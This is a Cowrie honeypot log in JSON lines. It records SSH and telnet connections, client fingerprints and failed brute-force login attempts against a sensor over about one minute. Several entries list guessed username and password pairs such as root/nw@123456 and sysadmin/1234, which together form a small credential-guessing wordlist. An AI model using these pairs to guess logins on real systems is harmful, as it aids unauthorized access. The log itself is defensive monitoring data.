{"eventid":"cowrie.session.connect","src_ip":"64.62.156.222","src_port":55050,"dst_ip":"159.203.135.109","dst_port":23,"session":"aefcdf896647","protocol":"telnet","message":"New connection: 64.62.156.222:55050 (159.203.135.109:23) [session: aefcdf896647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:12.469365Z"}
{"eventid":"cowrie.session.closed","duration":0.08638787269592285,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:12.555669Z","src_ip":"64.62.156.222","session":"aefcdf896647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"56.4","message":"Connection lost after 56.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:19.629564Z","src_ip":"8.210.75.243","session":"e555bf9cf104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":44254,"dst_ip":"10.17.0.5","dst_port":22,"session":"986a941fd95d","protocol":"ssh","message":"New connection: 138.124.69.150:44254 (10.17.0.5:22) [session: 986a941fd95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:22.252670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:22.256028Z","src_ip":"138.124.69.150","session":"986a941fd95d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:22.393121Z","src_ip":"138.124.69.150","session":"986a941fd95d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"q1w2e3","message":"login attempt [alex/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:22.978773Z","src_ip":"138.124.69.150","session":"986a941fd95d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:24.118445Z","src_ip":"138.124.69.150","session":"986a941fd95d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.97181010246277,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:26.011484Z","src_ip":"170.64.224.25","session":"28e99e7818e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":41748,"dst_ip":"159.203.135.109","dst_port":22,"session":"0632ca19315c","protocol":"ssh","message":"New connection: 159.65.58.200:41748 (159.203.135.109:22) [session: 0632ca19315c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:29.291692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:29.620213Z","src_ip":"159.65.58.200","session":"0632ca19315c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:29.622573Z","src_ip":"159.65.58.200","session":"0632ca19315c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"siuraksh","password":"123456","message":"login attempt [siuraksh/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:30.890812Z","src_ip":"159.65.58.200","session":"0632ca19315c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:32.126354Z","src_ip":"159.65.58.200","session":"0632ca19315c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":38530,"dst_ip":"10.17.0.5","dst_port":22,"session":"45e9034df741","protocol":"ssh","message":"New connection: 154.116.254.157:38530 (10.17.0.5:22) [session: 45e9034df741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:37.765675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:37.769192Z","src_ip":"154.116.254.157","session":"45e9034df741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:37.935606Z","src_ip":"154.116.254.157","session":"45e9034df741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nw@123456","message":"login attempt [root/nw@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:38.635103Z","src_ip":"154.116.254.157","session":"45e9034df741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:39.803639Z","src_ip":"154.116.254.157","session":"45e9034df741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":39164,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7f22f6939e","protocol":"ssh","message":"New connection: 152.32.205.153:39164 (10.17.0.5:22) [session: 8a7f22f6939e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:47.841250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:47.845295Z","src_ip":"152.32.205.153","session":"8a7f22f6939e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:47.857272Z","src_ip":"152.32.205.153","session":"8a7f22f6939e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1234","message":"login attempt [sysadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:47.933152Z","src_ip":"152.32.205.153","session":"8a7f22f6939e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37194,"dst_ip":"10.17.0.5","dst_port":22,"session":"74abeccde845","protocol":"ssh","message":"New connection: 103.172.78.219:37194 (10.17.0.5:22) [session: 74abeccde845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:48.822663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:48.825532Z","src_ip":"103.172.78.219","session":"74abeccde845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:48.944530Z","src_ip":"152.32.205.153","session":"8a7f22f6939e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:49.098149Z","src_ip":"103.172.78.219","session":"74abeccde845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":37126,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ee439fb8ec9","protocol":"ssh","message":"New connection: 162.214.159.200:37126 (10.17.0.5:22) [session: 6ee439fb8ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:49.749331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:49.753209Z","src_ip":"162.214.159.200","session":"6ee439fb8ec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:49.834854Z","src_ip":"162.214.159.200","session":"6ee439fb8ec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12341234z","message":"login attempt [root/12341234z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:49.918056Z","src_ip":"103.172.78.219","session":"74abeccde845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"snx","password":"snx123","message":"login attempt [snx/snx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:50.087477Z","src_ip":"162.214.159.200","session":"6ee439fb8ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:51.034472Z","src_ip":"8.210.75.243","session":"3fe7fb339131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:51.172031Z","src_ip":"162.214.159.200","session":"6ee439fb8ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:51.193235Z","src_ip":"103.172.78.219","session":"74abeccde845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":46870,"dst_ip":"10.17.0.5","dst_port":22,"session":"f314ad845624","protocol":"ssh","message":"New connection: 152.53.185.81:46870 (10.17.0.5:22) [session: f314ad845624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:54.843182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:54.846212Z","src_ip":"152.53.185.81","session":"f314ad845624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:54.935544Z","src_ip":"152.53.185.81","session":"f314ad845624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passadmin123456","message":"login attempt [root/passadmin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:55.320773Z","src_ip":"152.53.185.81","session":"f314ad845624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:56.411646Z","src_ip":"152.53.185.81","session":"f314ad845624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":51902,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1682633be1f","protocol":"ssh","message":"New connection: 196.196.150.5:51902 (10.17.0.5:22) [session: a1682633be1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:01.876245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:01.883919Z","src_ip":"196.196.150.5","session":"a1682633be1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:01.997077Z","src_ip":"196.196.150.5","session":"a1682633be1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":40376,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c351a43634d","protocol":"ssh","message":"New connection: 163.7.1.218:40376 (10.17.0.5:22) [session: 4c351a43634d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:02.283945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:02.288821Z","src_ip":"163.7.1.218","session":"4c351a43634d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:02.461756Z","src_ip":"196.196.150.5","session":"a1682633be1f","protocol":"ssh"}
